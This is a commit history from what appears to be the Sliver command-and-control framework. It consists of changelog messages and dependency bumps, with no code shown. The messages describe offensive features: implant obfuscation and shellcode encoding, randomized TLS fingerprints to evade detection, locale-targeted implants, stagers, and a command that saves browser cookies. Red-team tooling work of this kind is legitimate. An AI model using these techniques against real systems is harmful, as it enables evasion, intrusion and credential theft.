Compare commits

..
Author SHA1 Message Date
Ronan Kervella a2b039bb51 Merge pull request #932 from BishopFox/feature/sgn-inject
Feature/sgn inject
2022-10-10 18:43:48 +02:00
Ronan Kervella 3c7fe8f1c6 Merge pull request #933 from BishopFox/go/v1.19.2
Go v1.19.2
2022-10-10 18:43:08 +02:00
moloch-- 2481b9632f Updated garble 2022-10-09 09:57:01 +02:00
moloch-- 58e11d40fa Go v1.19.2 2022-10-09 09:01:28 +02:00
moloch-- 196d42c8f1 Merge branch 'master' into feature/sgn-inject 2022-10-08 17:32:52 +02:00
Joe 3a4eee20a0 Merge pull request #928 from BishopFox/28d2dependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.4.0
Bump github.com/jedib0t/go-pretty/v6 from 6.3.8 to 6.4.0
2022-10-08 04:20:26 -05:00
dependabot[bot] 7714950206 Bump github.com/jedib0t/go-pretty/v6 from 6.3.8 to 6.4.0
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.3.8 to 6.4.0.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.3.8...v6.4.0)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-04 18:33:07 +00:00
Joe bae0f479b8 Merge pull request #930 from BishopFox/76b4dependabot/go_modules/github.com/shirou/gopsutil/v3-3.22.9
Bump github.com/shirou/gopsutil/v3 from 3.22.8 to 3.22.9
2022-10-04 13:31:27 -05:00
Joe fd090228e8 Merge pull request #927 from BishopFox/7dc3dependabot/go_modules/gorm.io/gorm-1.23.10
Bump gorm.io/gorm from 1.23.9 to 1.23.10
2022-10-04 13:30:43 -05:00
Joe 69dfe8c047 Merge pull request #929 from BishopFox/04d1dependabot/go_modules/github.com/chromedp/chromedp-0.8.6
Bump github.com/chromedp/chromedp from 0.8.5 to 0.8.6
2022-10-04 13:30:11 -05:00
dependabot[bot] d8b9f7cbd6 Bump github.com/shirou/gopsutil/v3 from 3.22.8 to 3.22.9
Bumps [github.com/shirou/gopsutil/v3](https://github.com/shirou/gopsutil) from 3.22.8 to 3.22.9.
- [Release notes](https://github.com/shirou/gopsutil/releases)
- [Commits](https://github.com/shirou/gopsutil/compare/v3.22.8...v3.22.9)

---
updated-dependencies:
- dependency-name: github.com/shirou/gopsutil/v3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-03 03:20:06 +00:00
dependabot[bot] 4c6269ba5a Bump github.com/chromedp/chromedp from 0.8.5 to 0.8.6
Bumps [github.com/chromedp/chromedp](https://github.com/chromedp/chromedp) from 0.8.5 to 0.8.6.
- [Release notes](https://github.com/chromedp/chromedp/releases)
- [Commits](https://github.com/chromedp/chromedp/compare/v0.8.5...v0.8.6)

---
updated-dependencies:
- dependency-name: github.com/chromedp/chromedp
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-03 03:19:56 +00:00
dependabot[bot] c98d1e2c17 Bump gorm.io/gorm from 1.23.9 to 1.23.10
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.23.9 to 1.23.10.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/compare/v1.23.9...v1.23.10)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-03 03:19:37 +00:00
moloch-- d582987c78 Refactor randomString to randomFileName 2022-09-30 19:39:37 -07:00
moloch-- 794db93ec9 Refactor randomString to randomFileName 2022-09-30 19:38:19 -07:00
moloch-- 338b622b97 Reorder code 2022-09-30 18:35:33 -07:00
moloch-- 4ecf42b5c2 Add cmd flag to disable sgn 2022-09-30 18:31:55 -07:00
moloch-- 7c5262d63d Added sgn to migrate, clean up ioutil usage 2022-09-30 18:18:52 -07:00
moloch-- 1a41eacb66 Tweaks to sgn 2022-09-30 10:07:46 -07:00
Joe 32e4ed63e9 Merge pull request #926 from BishopFox/fix/tls1.2
Tweak https/tls server compatibility for windows
2022-09-30 10:52:55 -05:00
moloch-- e65629e089 Tweak https/tls server compatibility for windows 2022-09-30 08:10:46 -07:00
Ronan Kervella 0c14621e53 Merge pull request #924 from BishopFox/fix/headers
Only add cache header to responses that need it
2022-09-29 13:09:40 -07:00
moloch-- e27e030431 Only add cache header to responses that need it 2022-09-29 09:01:01 -07:00
Ronan Kervella 4738bf229c Merge pull request #922 from jamesgol/dns-beacon
Ensure beacon tries to connect the same as session
2022-09-28 16:45:14 -07:00
Joe c0a5a06efc Merge pull request #921 from pb376/fix-mtls-conn-close
Avoid closing nil tls connection #919
2022-09-28 17:53:24 -05:00
James Golovich 97ff802a40 Ensure beacon tries to connect the same as session 2022-09-28 15:41:20 -07:00
pb376 106c7f0427 Avoid closing nil tls connection #919 2022-09-28 15:12:40 -05:00
Joe 37a46a21e0 Merge pull request #918 from BishopFox/fix/stager-https
Add support for HTTPS stagers
2022-09-28 11:23:46 -05:00
Joe 060d1c40fd Merge pull request #723 from BishopFox/feature/ssh-kerberos
Add kerberos support for SSH client
2022-09-28 11:23:26 -05:00
rkervella 3320f3958b Update implant vendor 2022-09-28 07:39:37 -07:00
rkervella 643a9ca3fe Update implant vendor 2022-09-28 07:38:59 -07:00
rkervella 52c2e1b0cf Merge branch 'master' into feature/ssh-kerberos 2022-09-28 07:38:20 -07:00
rkervella 2fe9b56dc5 Add support for HTTPS stagers 2022-09-28 07:36:27 -07:00
Ronan Kervella 35907fa929 Merge pull request #916 from BishopFox/go/v1.19
Go/v1.19
2022-09-26 20:04:50 -07:00
moloch-- 608de5213a Update wg GOGARBLE mask 2022-09-26 18:40:29 -07:00
moloch-- b4b9d8d413 Update wg GOGARBLE mask 2022-09-26 18:31:46 -07:00
moloch-- 9dfde9d5c9 Update implant vendor/ 2022-09-26 18:00:10 -07:00
moloch-- f6d6e9e55e Unit tests pass 2022-09-26 17:50:00 -07:00
moloch-- 0fd10d0c59 go mod tidy/vendor 2022-09-26 16:25:27 -07:00
moloch-- 35a7562980 Merge master 2022-09-26 16:24:34 -07:00
Joe 212f70d755 Merge pull request #911 from BishopFox/a13cdependabot/go_modules/github.com/onsi/gomega-1.20.2
Bump github.com/onsi/gomega from 1.10.0 to 1.20.2
2022-09-26 12:56:39 -05:00
dependabot[bot] 5a2f4f4553 Bump github.com/onsi/gomega from 1.10.0 to 1.20.2
Bumps [github.com/onsi/gomega](https://github.com/onsi/gomega) from 1.10.0 to 1.20.2.
- [Release notes](https://github.com/onsi/gomega/releases)
- [Changelog](https://github.com/onsi/gomega/blob/master/CHANGELOG.md)
- [Commits](https://github.com/onsi/gomega/compare/v1.10.0...v1.20.2)

---
updated-dependencies:
- dependency-name: github.com/onsi/gomega
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-26 15:24:55 +00:00
Joe cece2f2e01 Merge pull request #912 from BishopFox/d214dependabot/go_modules/github.com/onsi/ginkgo-1.16.5
Bump github.com/onsi/ginkgo from 1.12.1 to 1.16.5
2022-09-26 10:22:36 -05:00
Joe f219d03453 Merge pull request #913 from BishopFox/72addependabot/go_modules/gorm.io/driver/postgres-1.3.10
Bump gorm.io/driver/postgres from 1.3.9 to 1.3.10
2022-09-26 10:20:38 -05:00
Joe 22e67f8390 Merge pull request #910 from BishopFox/86bedependabot/go_modules/google.golang.org/protobuf-1.28.1
Bump google.golang.org/protobuf from 1.27.1 to 1.28.1
2022-09-26 10:20:18 -05:00
Joe 42299991db Merge pull request #909 from BishopFox/cursed
Cursed
2022-09-26 10:07:04 -05:00
dependabot[bot] c1995c6081 Bump gorm.io/driver/postgres from 1.3.9 to 1.3.10
Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.3.9 to 1.3.10.
- [Release notes](https://github.com/go-gorm/postgres/releases)
- [Commits](https://github.com/go-gorm/postgres/compare/v1.3.9...v1.3.10)

---
updated-dependencies:
- dependency-name: gorm.io/driver/postgres
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-26 03:46:24 +00:00
dependabot[bot] 352df3c52b Bump github.com/onsi/ginkgo from 1.12.1 to 1.16.5
Bumps [github.com/onsi/ginkgo](https://github.com/onsi/ginkgo) from 1.12.1 to 1.16.5.
- [Release notes](https://github.com/onsi/ginkgo/releases)
- [Changelog](https://github.com/onsi/ginkgo/blob/master/CHANGELOG.md)
- [Commits](https://github.com/onsi/ginkgo/compare/v1.12.1...v1.16.5)

---
updated-dependencies:
- dependency-name: github.com/onsi/ginkgo
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-26 03:46:18 +00:00
dependabot[bot] 0daff15f72 Bump google.golang.org/protobuf from 1.27.1 to 1.28.1
Bumps [google.golang.org/protobuf](https://github.com/protocolbuffers/protobuf-go) from 1.27.1 to 1.28.1.
- [Release notes](https://github.com/protocolbuffers/protobuf-go/releases)
- [Changelog](https://github.com/protocolbuffers/protobuf-go/blob/master/release.bash)
- [Commits](https://github.com/protocolbuffers/protobuf-go/compare/v1.27.1...v1.28.1)

---
updated-dependencies:
- dependency-name: google.golang.org/protobuf
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-26 03:24:06 +00:00
moloch-- 46e58403dc add :file option to cursed console 2022-09-25 20:07:32 -07:00
moloch-- 70ba98aef4 hook console.log by default 2022-09-25 19:35:52 -07:00
Joe bc035d4003 Merge pull request #908 from jamesgol/wg_keyevent
Add new event WireGuardNewPeer to get peer configured immediately
2022-09-25 20:41:42 -05:00
moloch-- 31aaeeeab1 Save cookies to file 2022-09-25 18:22:29 -07:00
moloch-- d0826e63bc Added cursed cookies cmd 2022-09-25 17:51:07 -07:00
Joe ec8e26d2da Merge pull request #907 from jamesgol/beacon-host
Register new hosts when beacons are received and not just sessions
2022-09-25 17:36:59 -05:00
moloch-- 78213312c6 Merge branch 'master' into cursed 2022-09-25 11:07:15 -07:00
James Golovich c280489f49 Add \n to string
Worked without but looks more complete with it there
2022-09-23 21:02:12 -07:00
James Golovich 49faa6e6e4 Add new event WireGuardNewPeer to get peer configured immediately
Eliminates the 5 second delay on Wireguard connections
2022-09-23 20:57:22 -07:00
James Golovich 79b60eb321 Register new hosts when beacons are received and not just sessions 2022-09-23 16:27:06 -07:00
Joe 160486c55f Merge pull request #905 from jamesgol/limit-locale
Add ability to limit implant based on locale
2022-09-23 12:24:04 -05:00
Joe 556ebd86a6 Merge pull request #903 from jamesgol/reconfig-update
Make reconfig command to save to DB
2022-09-23 11:40:58 -05:00
Joe b86383a83d Merge pull request #904 from jamesgol/rportfwd-fix
Stop segfaults with rportfwd
2022-09-23 11:40:45 -05:00
James Golovich 7aa03f6845 Update compiled client.pb.go 2022-09-22 17:07:06 -07:00
James Golovich 3f6c38f3c7 Add LimitLocale to client.proto 2022-09-22 17:06:52 -07:00
James Golovich 86ec7248b6 Add ability to limit implant based on locale with regexp
Examples:
an exact match: en-US
substring: en
one of multiple: en-US|en-AU|en-UK
2022-09-22 17:04:07 -07:00
Joe aac39d72b6 Merge pull request #900 from jamesgol/info-fix
Allow info command to work with active sessions again
2022-09-22 16:31:13 -05:00
James Golovich f08b8e4dfe Stop segfault on server if tunnel cannot connect 2022-09-22 11:55:46 -07:00
James Golovich 4acbb6a5bb Stop segfault on implant if remote port is unavailable
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x9eaee9]

goroutine 26 [running]:
github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn.func1({0xb42100, 0xc00007b2c0})
	/home/james/.sliver/slivers/linux/amd64/SENSITIVE_CRASH/src/github.com/bishopfox/sliver/implant/sliver/rportfwd/portfwd.go:168 +0x1c9
github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn.func2()
	/home/james/.sliver/slivers/linux/amd64/SENSITIVE_CRASH/src/github.com/bishopfox/sliver/implant/sliver/rportfwd/portfwd.go:189 +0x2bd
created by github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn
	/home/james/.sliver/slivers/linux/amd64/SENSITIVE_CRASH/src/github.com/bishopfox/sliver/implant/sliver/rportfwd/portfwd.go:173 +0x54c
2022-09-22 11:42:26 -07:00
James Golovich 1caf9d2a1f Remove -n from reconfig command, that is handled by rename 2022-09-22 11:07:15 -07:00
James Golovich c69f68c24c Save reconfig data to DB 2022-09-22 11:07:15 -07:00
Joe df668bba84 Merge pull request #901 from BishopFox/aa1ddependabot/bundler/docs/commonmarker-0.23.6
Bump commonmarker from 0.23.4 to 0.23.6 in /docs
2022-09-22 11:00:17 -05:00
dependabot[bot] 1b0c52488b Bump commonmarker from 0.23.4 to 0.23.6 in /docs
Bumps [commonmarker](https://github.com/gjtorikian/commonmarker) from 0.23.4 to 0.23.6.
- [Release notes](https://github.com/gjtorikian/commonmarker/releases)
- [Changelog](https://github.com/gjtorikian/commonmarker/blob/main/CHANGELOG.md)
- [Commits](https://github.com/gjtorikian/commonmarker/compare/v0.23.4...v0.23.6)

---
updated-dependencies:
- dependency-name: commonmarker
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-22 02:09:09 +00:00
James Golovich 3cb1fe6473 Allow info command to work with active sessions again 2022-09-21 16:32:59 -07:00
Joe 73b6e5311f Merge pull request #898 from BishopFox/fix/rc4
Tweak ciphers, fix issue #896
2022-09-21 15:13:54 -05:00
Joe ef17dcca05 Merge pull request #895 from jamesgol/client-info
Add details to client info
2022-09-21 15:12:51 -05:00
moloch-- 0f53c7ca11 Tweak ciphers, fix issue #896 2022-09-21 09:13:40 -07:00
James Golovich 0b2e1c94e5 Add Last Checkin to info command 2022-09-20 22:13:11 -07:00
James Golovich a6791cc14e Update compiled protobufs 2022-09-20 21:56:01 -07:00
James Golovich 3cd1222552 Add FirstContact to ProtoBufs 2022-09-20 21:54:51 -07:00
James Golovich 2dc6c74c89 Add FirstContact to hosts/beacons/sessions info 2022-09-20 21:53:49 -07:00
James Golovich 905234714c Use 'use' Completor for 'info' command 2022-09-20 21:43:17 -07:00
James Golovich 3b39100b06 Add new SliverConsoleClient function FormateDateDelta
Refactored code from client/commands/beacons/beacons.go so it can be used elsewhere.
2022-09-20 18:26:49 -07:00
Joe 11949202b5 Merge pull request #893 from jamesgol/wireshark-sessions
Save implant Wireguard session keys
2022-09-20 19:29:40 -05:00
James Golovich d41833c490 Allow Wireguard implant to retrieve new keys after 3 connect failures 2022-09-20 12:23:39 -07:00
Joe 6c21d34963 Merge pull request #890 from BishopFox/fix/help
Fix help
2022-09-20 09:27:31 -05:00
Joe f68da6cf5c Merge pull request #891 from BishopFox/jarmy
Optionally randomize server JARM fingerprint
2022-09-20 09:27:11 -05:00
moloch-- 6b876d5b0b Fix typo 2022-09-19 23:00:48 -07:00
James Golovich a6d4e4fec2 Save implant Wireguard session keys
If the Wireguard implant is setup as a beacon it will connect using the implant private key at every beacon interval
and request a new key.  It's like in The Highlander, there can be only one... session for each private key.  If someone
had a large number of wg beacons connecting there's potential for multiples to be trying at one time.
2022-09-19 22:05:43 -07:00
moloch-- b6a49923d0 Remove rc4 ciphers, bump min n 2022-09-19 20:04:56 -07:00
moloch-- 9a450d9b5f Fix max n for min tls 2022-09-19 19:56:57 -07:00
moloch-- a0c0657bf3 Add comments 2022-09-19 19:45:05 -07:00
moloch-- d37de4f340 always select at least 4 ciphers 2022-09-19 19:37:18 -07:00
moloch-- 15b7059a87 always select at least 4 ciphers 2022-09-19 19:36:52 -07:00
moloch-- 620bdd71c5 Always use min tls 1.2 or lower to ensure compatibility 2022-09-19 19:35:47 -07:00
Joe 9c109bd236 Merge branch 'master' into jarmy
Signed-off-by: Joe <[email protected]>
2022-09-19 21:31:45 -05:00
moloch-- afd0b08c2f Optionally randomize server JARM fingerprint 2022-09-19 19:28:33 -07:00
moloch-- 8c144e3f66 Fix help 2022-09-19 18:23:52 -07:00
Ronan Kervella e5ca995419 Merge pull request #872 from jamesgol/tls-key-logger
Add option to log TLS info so packets can be decoded with wireshark
2022-09-19 13:03:11 -07:00
Ronan Kervella 5a1f192258 Merge pull request #889 from BishopFox/feature/msf-stagers
Reworked staging
2022-09-19 13:02:35 -07:00
rkervella 94a55f0150 Remove comments 2022-09-19 11:44:30 -07:00
rkervella 653f3c7e7c Reworked staging 2022-09-19 11:39:52 -07:00
Joe d9f4536e3f Merge pull request #888 from BishopFox/0777dependabot/go_modules/github.com/grpc-ecosystem/go-grpc-middleware-1.3.0
Bump github.com/grpc-ecosystem/go-grpc-middleware from 1.2.2 to 1.3.0
2022-09-19 12:50:57 -05:00
Joe dd05d24fb1 Merge pull request #886 from BishopFox/6ae4dependabot/go_modules/github.com/shirou/gopsutil/v3-3.22.8
Bump github.com/shirou/gopsutil/v3 from 3.21.10 to 3.22.8
2022-09-19 12:50:13 -05:00
dependabot[bot] c3df9ac47e Bump github.com/shirou/gopsutil/v3 from 3.21.10 to 3.22.8
Bumps [github.com/shirou/gopsutil/v3](https://github.com/shirou/gopsutil) from 3.21.10 to 3.22.8.
- [Release notes](https://github.com/shirou/gopsutil/releases)
- [Commits](https://github.com/shirou/gopsutil/compare/v3.21.10...v3.22.8)

---
updated-dependencies:
- dependency-name: github.com/shirou/gopsutil/v3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 15:55:34 +00:00
dependabot[bot] d011b57e31 Bump github.com/grpc-ecosystem/go-grpc-middleware from 1.2.2 to 1.3.0
Bumps [github.com/grpc-ecosystem/go-grpc-middleware](https://github.com/grpc-ecosystem/go-grpc-middleware) from 1.2.2 to 1.3.0.
- [Release notes](https://github.com/grpc-ecosystem/go-grpc-middleware/releases)
- [Changelog](https://github.com/grpc-ecosystem/go-grpc-middleware/blob/master/CHANGELOG.md)
- [Commits](https://github.com/grpc-ecosystem/go-grpc-middleware/compare/v1.2.2...v1.3.0)

---
updated-dependencies:
- dependency-name: github.com/grpc-ecosystem/go-grpc-middleware
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 15:55:05 +00:00
Joe 8db2be4e9f Merge pull request #887 from BishopFox/120edependabot/go_modules/gorm.io/gorm-1.23.9
Bump gorm.io/gorm from 1.23.8 to 1.23.9
2022-09-19 10:54:00 -05:00
Joe 1b8411d097 Merge pull request #885 from BishopFox/c6addependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.3.8
Bump github.com/jedib0t/go-pretty/v6 from 6.2.4 to 6.3.8
2022-09-19 10:53:27 -05:00
Ronan Kervella 67094dec1c Merge pull request #884 from BishopFox/external-builder
External builder
2022-09-19 08:33:46 -07:00
Ronan Kervella 265a1fa33e Merge pull request #869 from BishopFox/obfs
Tweaks to Implant
2022-09-19 08:32:58 -07:00
James Golovich 85e6121685 Print console message when TLS key logging enabled 2022-09-18 22:20:55 -07:00
dependabot[bot] 071a0cb574 Bump gorm.io/gorm from 1.23.8 to 1.23.9
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.23.8 to 1.23.9.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/compare/v1.23.8...v1.23.9)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 03:58:38 +00:00
dependabot[bot] d469d33e7f Bump github.com/jedib0t/go-pretty/v6 from 6.2.4 to 6.3.8
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.2.4 to 6.3.8.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.2.4...v6.3.8)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 03:35:21 +00:00
moloch-- b013d555a4 Add events api 2022-09-18 18:56:11 -07:00
moloch-- bdf0c7b3f6 Improved comments 2022-09-18 18:30:04 -07:00
moloch-- f042dee7e9 Improved err handling 2022-09-18 18:28:10 -07:00
moloch-- e0b756a5b6 Implement the rest of the external build api 2022-09-18 18:22:24 -07:00
moloch-- f12a60541f Outline external build api 2022-09-18 13:24:01 -07:00
Joe 3c90e4b7e0 Merge pull request #883 from MrAle98/feature/manage-rportfwd
Add reverse port forwardings management
2022-09-18 11:15:47 -05:00
MrAle98 c894e623ca start/stop commands renamed to add/rm 2022-09-17 19:45:39 +02:00
MrAle98 03a6f5f0b6 minor fix 2022-09-17 15:16:19 +02:00
MrAle98 7b3739b87c rportfwd error handling 2022-09-17 14:45:21 +02:00
MrAle98 8a5855fa53 fix rportfwd handlers map 2022-09-17 12:21:29 +02:00
MrAle98 fa11691efb client minor fix 2022-09-17 12:14:36 +02:00
MrAle98 5628197789 renamed add/rm operations to start/stop. stop returns more information 2022-09-17 12:09:18 +02:00
Joe dfba1eeb65 Merge pull request #881 from jamesgol/http-time-warp
Track HTTP time difference in case the implant clock is wrong
2022-09-16 20:44:43 -05:00
Joe 181163d65b Merge pull request #877 from BishopFox/feature/rportfwd
Feature/rportfwd
2022-09-16 20:01:50 -05:00
James Golovich f8db5d4607 Track HTTP time difference in case the implant clock is wrong 2022-09-16 16:12:48 -07:00
Chris Smith e1516ff6c0 Update sessions.go
Signed-off-by: Chris Smith <[email protected]>
2022-09-16 12:43:12 -07:00
Chris Smith 82e58c74f7 Update sessions.go
Signed-off-by: Chris Smith <[email protected]>
2022-09-16 12:42:22 -07:00
Joe 91a3b36ab4 Merge pull request #878 from jamesgol/wg_persist
Ensure Wireguard keyPort persists
2022-09-16 12:33:07 -05:00
moloch-- 62748edc97 Align rportfwd and portfwd bind parsing 2022-09-15 15:44:20 -07:00
moloch-- 5baf9d3b3b Improved rportfwd ux 2022-09-15 15:40:17 -07:00
James Golovich 5332d0c76f Ensure Wireguard keyPort persists 2022-09-15 15:21:33 -07:00
moloch-- 7a9f216d9c Only include log code when debug mode is enabled 2022-09-15 14:00:36 -07:00
moloch-- 754b9f6af6 Merge master 2022-09-15 13:13:38 -07:00
moloch-- 0c601bdc4b Tweak rportfwd implementation 2022-09-15 13:09:50 -07:00
Joe 3a06595517 Merge pull request #856 from jamesgol/implant-locale
Add locale to beacons/sessions on implants
2022-09-15 11:11:25 -05:00
Joe a91b5a8721 Merge pull request #874 from jamesgol/wg-debug
Change log entries to Debug for WireGuard config
2022-09-15 11:06:37 -05:00
Joe c1ac4ddfea Merge pull request #875 from jamesgol/fix-wg-beacon-win
Sleep before shutting down beacon instead of after
2022-09-15 11:06:21 -05:00
MrAle98 b03657462b minor fix 2022-09-15 16:46:36 +02:00
MrAle98 8bc85b25aa added reverse port forwarding 2022-09-15 11:02:34 +02:00
James Golovich 18f8a8c23f Delay closing to all coroutines to complete
Wireguard beacons could connect, but results of commands weren't making it back.

This is a bit hacky.  It works, but it would be better if there was a way to wait till everything has been transmitted.
2022-09-14 21:44:57 -07:00
James Golovich 4748f61480 Sleep before shutting down beacon instead of after
When using a windows implant + wireguard it looks like the beacon registration message is never recieved by the server because the session is closed too quickly.

Fixes #670
2022-09-14 18:54:08 -07:00
James Golovich f7a4aacf5f Change log entries to Debug
With a lot of WireGuard beacons coming in these logs get excessive
2022-09-14 16:26:29 -07:00
James Golovich 68d624fe17 Add option for TLS key logging to implant when in debug mode 2022-09-14 14:29:20 -07:00
James Golovich acc4e39cbb Switch to using SSLKEYLOGFILE env var instead of config var 2022-09-14 14:04:49 -07:00
James Golovich a2673f74c9 Add option to log TLS info so packets can be decoded with wireshark 2022-09-14 12:59:35 -07:00
James Golovich da45b2da82 Remove processor constraints for build 2022-09-14 09:00:25 -07:00
moloch-- f6281bdcd7 Added keep-alive, headless, and additional args 2022-09-14 08:59:33 -06:00
James Golovich 097866d0a2 Include github.com/cubiest/jibberjabber files 2022-09-13 16:34:27 -07:00
James Golovich 11959d5911 Separate generic and os specific locale functions 2022-09-13 16:33:27 -07:00
Joe 70b06673fd Merge pull request #867 from jamesgol/implant-vendor-script
Trap failed build when running 'go generate' on the implant
2022-09-13 11:07:20 -05:00
Joe 84a95aea2a Merge pull request #866 from jamesgol/debug-no-canaries
Stop excessive build logging if there are no canaries
2022-09-13 11:07:08 -05:00
moloch-- ba3ec022bb Add lic 2022-09-13 08:31:11 -06:00
moloch-- 394ba431b2 Add lic 2022-09-13 08:28:52 -06:00
moloch-- cda6aeaee6 Remove un-needed pointers 2022-09-13 08:25:37 -06:00
James Golovich 100b26afd0 Trap failed build when running 'go generate' on the implant
I had an error that caused the build to fail which left the environment without a vendor directory
2022-09-12 21:31:25 -07:00
moloch-- 187f9e99ac Refactor c2 url handling 2022-09-12 20:40:39 -06:00
James Golovich 4917c313b6 Stop excessive build logging if there are no canaries 2022-09-12 19:36:50 -07:00
Joe 1f6abf9be3 Merge pull request #863 from BishopFox/a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Bump github.com/sirupsen/logrus from 1.8.1 to 1.9.0
2022-09-12 14:54:13 -05:00
Joe 25a22054b7 Merge branch 'master' into a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Signed-off-by: Joe <[email protected]>
2022-09-12 11:02:42 -05:00
Joe 64c5460545 Merge pull request #862 from BishopFox/c6cfdependabot/go_modules/github.com/AlecAivazis/survey/v2-2.3.6
Bump github.com/AlecAivazis/survey/v2 from 2.2.2 to 2.3.6
2022-09-12 11:01:44 -05:00
dependabot[bot] 76fb9dfc93 Bump github.com/AlecAivazis/survey/v2 from 2.2.2 to 2.3.6
Bumps [github.com/AlecAivazis/survey/v2](https://github.com/AlecAivazis/survey) from 2.2.2 to 2.3.6.
- [Release notes](https://github.com/AlecAivazis/survey/releases)
- [Commits](https://github.com/AlecAivazis/survey/compare/v2.2.2...v2.3.6)

---
updated-dependencies:
- dependency-name: github.com/AlecAivazis/survey/v2
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 15:16:37 +00:00
Joe ccd3ed2250 Merge pull request #861 from BishopFox/2e20dependabot/go_modules/github.com/spf13/cobra-1.5.0
Bump github.com/spf13/cobra from 1.1.1 to 1.5.0
2022-09-12 10:14:30 -05:00
Joe fb5c6c0c88 Merge branch 'master' into a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Signed-off-by: Joe <[email protected]>
2022-09-12 10:13:57 -05:00
Joe 11878069f6 Merge pull request #864 from BishopFox/2a7fdependabot/go_modules/github.com/cheggaaa/pb/v3-3.1.0
Bump github.com/cheggaaa/pb/v3 from 3.0.5 to 3.1.0
2022-09-12 10:12:50 -05:00
Joe 3db3930091 Merge pull request #865 from BishopFox/024fdependabot/go_modules/github.com/gofrs/uuid-4.3.0incompatible
Bump github.com/gofrs/uuid from 4.0.0+incompatible to 4.3.0+incompatible
2022-09-12 10:12:05 -05:00
dependabot[bot] 9e6412c911 Bump github.com/gofrs/uuid from 4.0.0+incompatible to 4.3.0+incompatible
Bumps [github.com/gofrs/uuid](https://github.com/gofrs/uuid) from 4.0.0+incompatible to 4.3.0+incompatible.
- [Release notes](https://github.com/gofrs/uuid/releases)
- [Commits](https://github.com/gofrs/uuid/compare/v4.0.0...v4.3.0)

---
updated-dependencies:
- dependency-name: github.com/gofrs/uuid
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:21:06 +00:00
dependabot[bot] ade96fa281 Bump github.com/cheggaaa/pb/v3 from 3.0.5 to 3.1.0
Bumps [github.com/cheggaaa/pb/v3](https://github.com/cheggaaa/pb) from 3.0.5 to 3.1.0.
- [Release notes](https://github.com/cheggaaa/pb/releases)
- [Commits](https://github.com/cheggaaa/pb/compare/v3.0.5...v3.1.0)

---
updated-dependencies:
- dependency-name: github.com/cheggaaa/pb/v3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:21:00 +00:00
dependabot[bot] 3035d75882 Bump github.com/sirupsen/logrus from 1.8.1 to 1.9.0
Bumps [github.com/sirupsen/logrus](https://github.com/sirupsen/logrus) from 1.8.1 to 1.9.0.
- [Release notes](https://github.com/sirupsen/logrus/releases)
- [Changelog](https://github.com/sirupsen/logrus/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sirupsen/logrus/compare/v1.8.1...v1.9.0)

---
updated-dependencies:
- dependency-name: github.com/sirupsen/logrus
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:20:53 +00:00
dependabot[bot] 4ed95375e0 Bump github.com/spf13/cobra from 1.1.1 to 1.5.0
Bumps [github.com/spf13/cobra](https://github.com/spf13/cobra) from 1.1.1 to 1.5.0.
- [Release notes](https://github.com/spf13/cobra/releases)
- [Commits](https://github.com/spf13/cobra/compare/v1.1.1...v1.5.0)

---
updated-dependencies:
- dependency-name: github.com/spf13/cobra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
